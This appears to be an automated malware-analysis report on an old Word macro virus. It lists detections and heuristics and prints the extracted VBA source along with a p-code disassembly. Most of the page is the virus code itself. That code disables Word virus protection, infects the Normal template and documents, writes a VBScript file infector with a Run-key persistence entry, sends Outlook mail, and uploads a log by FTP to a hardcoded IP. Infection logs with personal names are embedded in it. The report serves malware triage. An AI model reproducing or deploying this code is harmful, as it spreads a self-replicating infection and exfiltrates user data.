MALICIOUS
416
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample contains critical heuristic firings for WScript.Shell usage and Shell() calls within VBA macros, indicating an attempt to execute arbitrary code. The presence of AutoOpen and AutoClose macros further suggests malicious intent. The VBA code explicitly uses WScript.Shell and CreateObject, which are commonly used to download and execute secondary payloads.
Heuristics 10
-
ClamAV: Win.Trojan.ColdApe-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.ColdApe-1
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Close 1 Shell "wscript c:\happy.vbs", vbHide End If -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Print #1, "Dim XR" Print #1, "Set WSHShell = Wscript.CreateObject(""Wscript.Shell"")" Print #1, "Set WshSysEnv = WSHShell.Environment(""Process"")" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Print #1, "Dim XR" Print #1, "Set WSHShell = Wscript.CreateObject(""Wscript.Shell"")" Print #1, "Set WshSysEnv = WSHShell.Environment(""Process"")" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AVM" Then ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString ("Sub AutoOpen()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines - 1)) gen = gen + 1 -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Attribute VB_Customizable = True Sub AutoClose() -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 49719 bytes |
SHA-256: f4d120a2ee2a7593d58f5ad620bf8175b23b5044d834dc311753691a23c977e4 |
|||
|
Detection
ClamAV:
Doc.Trojan.Marker-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
()
'AVM
On Error Resume Next
Dim DC, IT As Integer
a = ActiveDocument.Saved
Application.EnableCancelKey = 1 And 0
Options.VirusProtection = 1 And 0
Options.ConfirmConversions = 1 And 0
gen = 51
gen = 50
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AVM" Then
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines, "'" & Application.UserName & " Loves Nicky F. Also! " & Now
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString ("Sub AutoClose()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines - 1))
gen = gen + 1
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 10, "gen =" & Str(gen)
End If
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AVM" Then
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString ("Sub AutoOpen()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines - 1))
gen = gen + 1
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 10, "gen =" & Str(gen)
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
IT = (Day(Now))
If IT >= 30 Then IT = 0
DC = System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Office\8.0", "AVM-DC")
If DC = "" Or DC < IT Or IT = 0 Then
GoOk = True
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Office\8.0", "AVM-DC") = IT
End If
TestCon = System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Office\8.0", "AVM-VBS")
If System.PrivateProfileString("", "HKEY_CLASSES_ROOT\VBSFile\ScriptEngine", "") = "VBScript" Then SIY = True
If SIY = True And TestCon <> "Done" Then
Open "c:\happy.vbs" For Output As 1
Print #1, "'§"
Print #1, ""
Print #1, "On Error Resume Next"
Print #1, "Dim IV6, U187, IV7, IV1, IV2, IV3, IV4"
Print #1, "Dim T111"
Print #1, "Dim IV5(200)"
Print #1, "Dim XR"
Print #1, "Set WSHShell = Wscript.CreateObject(""Wscript.Shell"")"
Print #1, "Set WshSysEnv = WSHShell.Environment(""Process"")"
Print #1, "IV10 = WshSysEnv(""Path"")"
Print #1, "IV7 = WSHShell.ExpandEnvironmentStrings(""%windir%\avm.vbs"")"
Print #1, "IV1 = Wscript.ScriptFullName"
Print #1, "Set IV6 = CreateObject(""Scripting.FileSystemObject"")"
Print #1, "XR = 1"
Print #1, "T11 = Wscript.ScriptFullName"
Print #1, "For x = Len(IV10) To 1 Step -1"
Print #1, "IV4 = Mid(IV10, x, 1)"
Print #1, "If IV4 <> "";"" Then"
Print #1, "IV5(XR) = IV4 + IV5(XR)"
Print #1, "ElseIf IV4 = "";"" Then"
Print #1, "IV5(XR) = IV5(XR) + ""\"""
Print #1, "XR = XR + 1"
Print #1, "End If"
Print #1, "Next"
Print #1, "IV5(XR) = IV5(XR) + ""\"""
Print #1, "IV5(XR + 1) = WSHShell.SpecialFolders(""Desktop"") + ""\"""
Print #1, "IV5(XR + 2) = WSHShell.SpecialFolders(""MyDocuments"") + ""\"""
Print #1, "IV5(XR + 3) = WSHShell.SpecialFolders(""Startup"") + ""\"""
Print #1, "IV5(XR + 4) = Left(T11, InStrRev(T11, ""\""))"
Print #1, "Set TS = IV6.OpenTextFile(T11, 1)"
Print #1, "IV9 = TS.ReadAll"
Print #1, "TS.Close"
Print #1, "IV8 = Chr(167)"
Print #1, "endIV8 = ""'"" & IV8"
Print #1, "For x = Len(IV9) To 1 Step -1"
Print #1, "If Mid(IV9, x, 1) = IV8 Then"
Print #1, "x = 1"
Print #1, "IV3 = endIV8 + IV3"
Print #1, "ElseIf Mid(IV9, x, 1) <> IV8 Then"
Print #1, "IV3 = Mid(IV9, x, 1) + IV3"
Print #1, "End If"
Print #1, "Next"
Print #1, "For y = 1 To (XR + 4)"
Print #1, "For Each Target In IV6.GetFolder(IV5(y)).Files"
Print #1, "If UCase(Right(Target.Name, 3)) = ""VBS"" Then"
Print #1, "IV11 = """""
Print #1, "Set TS = IV6.OpenTextFile(IV5(y) & Target.Name, 1)"
Print #1, "IV11 = TS.ReadAll"
Print #1, "TS.Close"
Print #1, "If mid(IV11,(len(IV11)-2),1) <> ""¥"" Then"
Print #1, "Set TS = IV6.OpenTextFile(IV5(y) & Target.Name, 8)"
Print #1, "TS.Write IV3"
Print #1, "TS.Close"
Print #1, "End If"
Print #1, "End If"
Print #1, "Next"
Print #1, "Next"
Print #1, "FIV11 (IV7)"
Print #1, "If T111 = False Then"
Print #1, "WSHShell.RegWrite ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AVM"", IV7"
Print #1, "Set U187 = IV6.OpenTextFile(IV7, 2, True)"
Print #1, "U187.Write IV3"
Print #1, "U187.Close"
Print #1, "End If"
Print #1, "Function FIV11(filespec)"
Print #1, "Set IV6 = CreateObject(""Scripting.FileSystemObject"")"
Print #1, "If (IV6.FileExists(filespec)) Then"
Print #1, "T111 = True"
Print #1, "Else"
Print #1, "T111 = False"
Print #1, "End If"
Print #1, "End Function"
Print #1, "' Nick ""The Love Monkey"" Virus Package by ALT-F4 and ALT-F11 for the Alternative Virus Mafia"
Print #1, "'¥"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Office\8.0", "AVM-VBS") = "Done"
Close 1
Shell "wscript c:\happy.vbs", vbHide
End If
If SIY = True And GoOk = True Then
If Dir("c:\A4.vbs") = "" Then
Open "c:\A4.vbs" For Output As 1
Print #1, "Dim theApp, theNameSpace, theMailItem"
Print #1, "Dim IPSocket"
Print #1, "On Error Resume Next"
Print #1, "Set IPSocket = CreateObject(""MSWinsock.Winsock"")"
Print #1, "IPADDY = IPSocket.LocalIP"
Print #1, "set BOB = CreateObject(""Wscript.Network"")"
Print #1, "For x = 1 To 2"
Print #1, "If x = 1 Then EMADDY = ""avm@redneck.efga.org"" Else EMADDY = ""nick@virusbtn.com"""
Print #1, "if x = 1 then MSGBDY = IPADDY & " & Chr(34) & Str(gen) & " " & Now & Chr(34) & " else MSGBDY = ""Dear Nicky... my name is " & Application.UserName & " and I want to make hot monkey love with you. You anti-virus stud!"""
Print #1, "Set theApp = WScript.CreateObject(""Outlook.Application"")"
Print #1, "Set theNameSpace = theApp.GetNameSpace(""MAPI"")"
Print #1, "theNameSpace.Logon ""profile"", ""password"""
Print #1, "Set theMailItem = theApp.CreateItem(0)"
Print #1, "theMailItem.Recipients.Add EMADDY"
Print #1, "theMailItem.Subject = BOB.Username"
Print #1, "theMailItem.Body = MSGBDY"
Print #1, "theMailItem.Send"
Print #1, "theNameSpace.Logoff"
Print #1, "Next"
Close 1
End If
Shell "wscript c:\a4.vbs", vbHide
End If
If ActiveDocument.Saved <> a Then ActiveDocument.Saved = a
' Nick "The Love Monkey" v2 Virus Package by ALT-F4 and ALT-F11 for the Alternative Virus Mafia
'Hugh G. Rection Loves Nicky F. Also! 11/14/98 10:56:30 AM
'Biacuone Loves Nicky F. Also! 11/18/98 12:48:59 PM
'cmurthy Loves Nicky F. Also! 14-12-1998 9:45:26 AM
'beastman Loves Nicky F. Also! 12-01-1999 3:57:50 PM
'Krishna Kumar Loves Nicky F. Also! 19-01-1999 3:43:22 PM
'gaddison Loves Nicky F. Also! 15-02-1999 8:29:10 AM
'Claire Hamilton Loves Nicky F. Also! 2/03/99 16:35:56
'Yarra Valley Water Ltd Loves Nicky F. Also! 9/03/1999 14:41:41
'Kerrie Robertson Loves Nicky F. Also! 10/03/99 13:35:58
End Sub
Private Sub Document_New()
'Yarra Valley Water Ltd Loves Nicky F. Also! 22/03/1999 12:32:58
'YMP137 Loves Nicky F. Also! 4/8/99 8:17:35 PM
'Staff Use Only Loves Nicky F. Also! 4/21/99 10:25:43 AM
'Spiros Lefteriotis Loves Nicky F. Also! 04-May-99 10:25:17 PM
'Building M Open Access Lab Loves Nicky F. Also! 6/05/99 10:46:11
'Andrew Ly Loves Nicky F. Also! 5/9/99 10:22:32 AM
'Business Loves Nicky F. Also! 5/14/99 11:08:54 AM
End Sub
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For I = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next I
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For I = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next I
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 11:37:56 AM - Tuesday, 29 Dec 1998
' Dan Ross
'
' 09:50:06 AM - Monday, 11 Jan 1999
' Karen M. Pinks
'
' 04:41:03 PM - Thursday, 21 Jan 1999
' george w. connelly
'
' 06:35:17 PM - Tuesday, 26 Jan 1999
' lynn ann casey
'
' 10:10:39 - Wednesday, 27 Jan 1999
' Jo Baldock
'
' 10:49:33 AM - Monday, 1 Feb 1999
' Richard P. Panico
'
' 05:11:22 PM - Wednesday, 3 Feb 1999
' Jennifer A. Johnsonj
'
' 02:03:10 - Tuesday, 9 Feb 1999
' Coles Myer Ltd.
'
' 05:05:46 - Wednesday, 10 Feb 1999
' Coles Myer Ltd.
'
' 02:04:06 PM - Monday, 22 Feb 1999
' Sally Papworth
'
' 12:39:10 PM - Tuesday, 2 Mar 1999
' Coles Myer Ltd.
'
' 06:58:41 - Wednesday, 3 Mar 1999
' Sonja Mills
'
' 12:02:55 PM - Tuesday, 16 Mar 1999
' Coles Myer Ltd.
'
' 04:44:14 PM - Wednesday, 24 Mar 1999
' RMIT University Library
'
' 11:47:20 AM - Friday, 26 Mar 1999
' RMIT University Library
'
' 07:42:40 PM - Tuesday, 20 Apr 1999
' RMIT University Library
'
' 12:19:56 - Friday, 23 Apr 1999
' Phi
'
' 06:29:13 PM - Thursday, 29 Apr 1999
' Business
'
' 10:21:23 - Tuesday, 18 May 1999
' Building M Open Access Lab
'
'Peter Bowring Loves Nicky F. Also! 30/05/1999 13:26:29
'rdeane Loves Nicky F. Also! 11/06/1999 12:57:07 PM
'Pat Price Loves Nicky F. Also! 25-Jun-1999 12:28:05
'ldonnelly Loves Nicky F. Also! 12/07/1999 1:59:04 PM
'SKM Loves Nicky F. Also! 19/7/1999 11:28:15 AM
' 11:59:03 AM - Tuesday, 27 Jul 1999
' DOT
'
'DOT User Loves Nicky F. Also! 27/07/99 14:50:14
' 10:40:29 - Friday, 6 Aug 1999
' DOT User
'
'DOT User Loves Nicky F. Also! 6/08/99 2:41:43 pm
'DOT User Loves Nicky F. Also! 8/9/99 11:28:32 AM
'David Enright Loves Nicky F. Also! 12/08/99 9:18:38
'David Enright Loves Nicky F. Also! 13/08/99 8:29:17
'DOT User Loves Nicky F. Also! 27/08/99 10:19:36
' 03:05:45 - Friday, 27 Aug 1999
' DOT User
'
' 09:48:58 AM - Monday, 20 Sep 1999
' Ditry PC
'
' Processing file: /tmp/qstore_ysus6ydj
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 25703 bytes
' Line #0:
' FuncDefn (Sub AutoClose())
' Line #1:
' Line #2:
' Reparse 0x0002 "()"
' Line #3:
' QuoteRem 0x0000 0x0003 "AVM"
' Line #4:
' OnError (Resume Next)
' Line #5:
' Dim
' VarDefn DC
' VarDefn IT (As Integer)
' Line #6:
' Ld ActiveDocument
' MemLd Saved
' St a
' Line #7:
' LitDI2 0x0001
' LitDI2 0x0000
' And
' Ld Application
' MemSt EnableCancelKey
' Line #8:
' LitDI2 0x0001
' LitDI2 0x0000
' And
' Ld Options
' MemSt VirusProtection
' Line #9:
' LitDI2 0x0001
' LitDI2 0x0000
' And
' Ld Options
' MemSt ConfirmConversions
' Line #10:
' LitDI2 0x0033
' St gen
' Line #11:
' LitDI2 0x0032
' St gen
' Line #12:
' LitDI2 0x0002
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x0004 "'AVM"
' Ne
' IfBlock
' Line #13:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitStr 0x0001 "'"
' Ld Application
' MemLd UserName
' Concat
' LitStr 0x0016 " Loves Nicky F. Also! "
' Concat
' Ld Now
' Concat
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall InsertLines 0x0002
' Line #14:
' LitStr 0x000F "Sub AutoClose()"
' Ld vbCr
' Concat
' LitDI2 0x0002
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Sub
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' Concat
' Paren
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall AddFromString 0x0001
' Line #15:
' Ld gen
' LitDI2 0x0001
' Add
' St gen
' Line #16:
' LitDI2 0x000A
' LitStr 0x0005 "gen ="
' Ld gen
' ArgsLd Str 0x0001
' Concat
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall ReplaceLine 0x0002
' Line #17:
' EndIfBlock
' Line #18:
' LitDI2 0x0002
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x0004 "'AVM"
' Ne
' IfBlock
' Line #19:
' LitStr 0x000E "Sub AutoOpen()"
' Ld vbCr
' Concat
' LitDI2 0x0002
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Sub
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' Concat
' Paren
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall AddFromString 0x0001
' Line #20:
' Ld gen
' LitDI2 0x0001
' Add
' St gen
' Line #21:
' LitDI2 0x000A
' LitStr 0x0005 "gen ="
' Ld gen
' ArgsLd Str 0x0001
' Concat
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall ReplaceLine 0x0002
' Line #22:
' Ld ActiveDocument
' MemLd New
' LitDI2 0x0008
' ArgsLd LBound 0x0002
' LitStr 0x0008 "Document"
' Ne
' If
' BoSImplicit
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' EndIf
' Line #23:
' EndIfBlock
' Line #24:
' Ld Now
' ArgsLd Day 0x0001
' Paren
' St IT
' Line #25:
' Ld IT
' LitDI2 0x001E
' Ge
' If
' BoSImplicit
' LitDI2 0x0000
' St IT
' EndIf
' Line #26:
' LitStr 0x0000 ""
' LitStr 0x0041 "HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Office\8.0"
' LitStr 0x0006 "AVM-DC"
' Ld System
' ArgsMemLd PrivateProfileString 0x0003
' St DC
' Line #27:
' Ld DC
' LitStr 0x0000 ""
' Eq
' Ld DC
' Ld IT
' Lt
' Or
' Ld IT
' LitDI2 0x0000
' Eq
' Or
' IfBlock
' Line #28:
' LitVarSpecial (True)
' St GoOk
' Line #29:
' Ld IT
' LitStr 0x0000 ""
' LitStr 0x0041 "HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Office\8.0"
' LitStr 0x0006 "AVM-DC"
' Ld System
' ArgsMemSt PrivateProfileString 0x0003
' Line #30:
' EndIfBlock
' Line #31:
' LitStr 0x0000 ""
' LitStr 0x0041 "HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Office\8.0"
' LitStr 0x0007 "AVM-VBS"
' Ld System
' ArgsMemLd PrivateProfileString 0x0003
' St TestCon
' Line #32:
' LitStr 0x0000 ""
' LitStr 0x0026 "HKEY_CLASSES_ROOT\VBSFile\ScriptEngine"
' LitStr 0x0000 ""
' Ld System
' ArgsMemLd PrivateProfileString 0x0003
' LitStr 0x0008 "VBScript"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St SIY
' EndIf
' Line #33:
' Ld SIY
' LitVarSpecial (True)
' Eq
' Ld TestCon
' LitStr 0x0004 "Done"
' Ne
' And
' IfBlock
' Line #34:
' LitStr 0x000C "c:\happy.vbs"
' LitDI2 0x0001
' LitDefault
' Open (For Output)
' Line #35:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0002 "'§"
' PrintItemNL
' Line #36:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0000 ""
' PrintItemNL
' Line #37:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0014 "On Error Resume Next"
' PrintItemNL
' Line #38:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0026 "Dim IV6, U187, IV7, IV1, IV2, IV3, IV4"
' PrintItemNL
' Line #39:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0008 "Dim T111"
' PrintItemNL
' Line #40:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000C "Dim IV5(200)"
' PrintItemNL
' Line #41:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0006 "Dim XR"
' PrintItemNL
' Line #42:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0034 "Set WSHShell = Wscript.CreateObject("Wscript.Shell")"
' PrintItemNL
' Line #43:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x002F "Set WshSysEnv = WSHShell.Environment("Process")"
' PrintItemNL
' Line #44:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0018 "IV10 = WshSysEnv("Path")"
' PrintItemNL
' Line #45:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x003B "IV7 = WSHShell.ExpandEnvironmentStrings("%windir%\avm.vbs")"
' PrintItemNL
' Line #46:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001C "IV1 = Wscript.ScriptFullName"
' PrintItemNL
' Line #47:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0034 "Set IV6 = CreateObject("Scripting.FileSystemObject")"
' PrintItemNL
' Line #48:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0006 "XR = 1"
' PrintItemNL
' Line #49:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001C "T11 = Wscript.ScriptFullName"
' PrintItemNL
' Line #50:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001E "For x = Len(IV10) To 1 Step -1"
' PrintItemNL
' Line #51:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0015 "IV4 = Mid(IV10, x, 1)"
' PrintItemNL
' Line #52:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0012 "If IV4 <> ";" Then"
' PrintItemNL
' Line #53:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0017 "IV5(XR) = IV4 + IV5(XR)"
' PrintItemNL
' Line #54:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0015 "ElseIf IV4 = ";" Then"
' PrintItemNL
' Line #55:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0017 "IV5(XR) = IV5(XR) + "\""
' PrintItemNL
' Line #56:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000B "XR = XR + 1"
' PrintItemNL
' Line #57:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0006 "End If"
' PrintItemNL
' Line #58:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0004 "Next"
' PrintItemNL
' Line #59:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0017 "IV5(XR) = IV5(XR) + "\""
' PrintItemNL
' Line #60:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0036 "IV5(XR + 1) = WSHShell.SpecialFolders("Desktop") + "\""
' PrintItemNL
' Line #61:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x003A "IV5(XR + 2) = WSHShell.SpecialFolders("MyDocuments") + "\""
' PrintItemNL
' Line #62:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0036 "IV5(XR + 3) = WSHShell.SpecialFolders("Startup") + "\""
' PrintItemNL
' Line #63:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x002B "IV5(XR + 4) = Left(T11, InStrRev(T11, "\"))"
' PrintItemNL
' Line #64:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0021 "Set TS = IV6.OpenTextFile(T11, 1)"
' PrintItemNL
' Line #65:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0010 "IV9 = TS.ReadAll"
' PrintItemNL
' Line #66:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0008 "TS.Close"
' PrintItemNL
' Line #67:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000E "IV8 = Chr(167)"
' PrintItemNL
' Line #68:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0012 "endIV8 = "'" & IV8"
' PrintItemNL
' Line #69:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001D "For x = Len(IV9) To 1 Step -1"
' PrintItemNL
' Line #70:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001C "If Mid(IV9, x, 1) = IV8 Then"
' PrintItemNL
' Line #71:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0005 "x = 1"
' PrintItemNL
' Line #72:
' LitDI2 0x0001
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.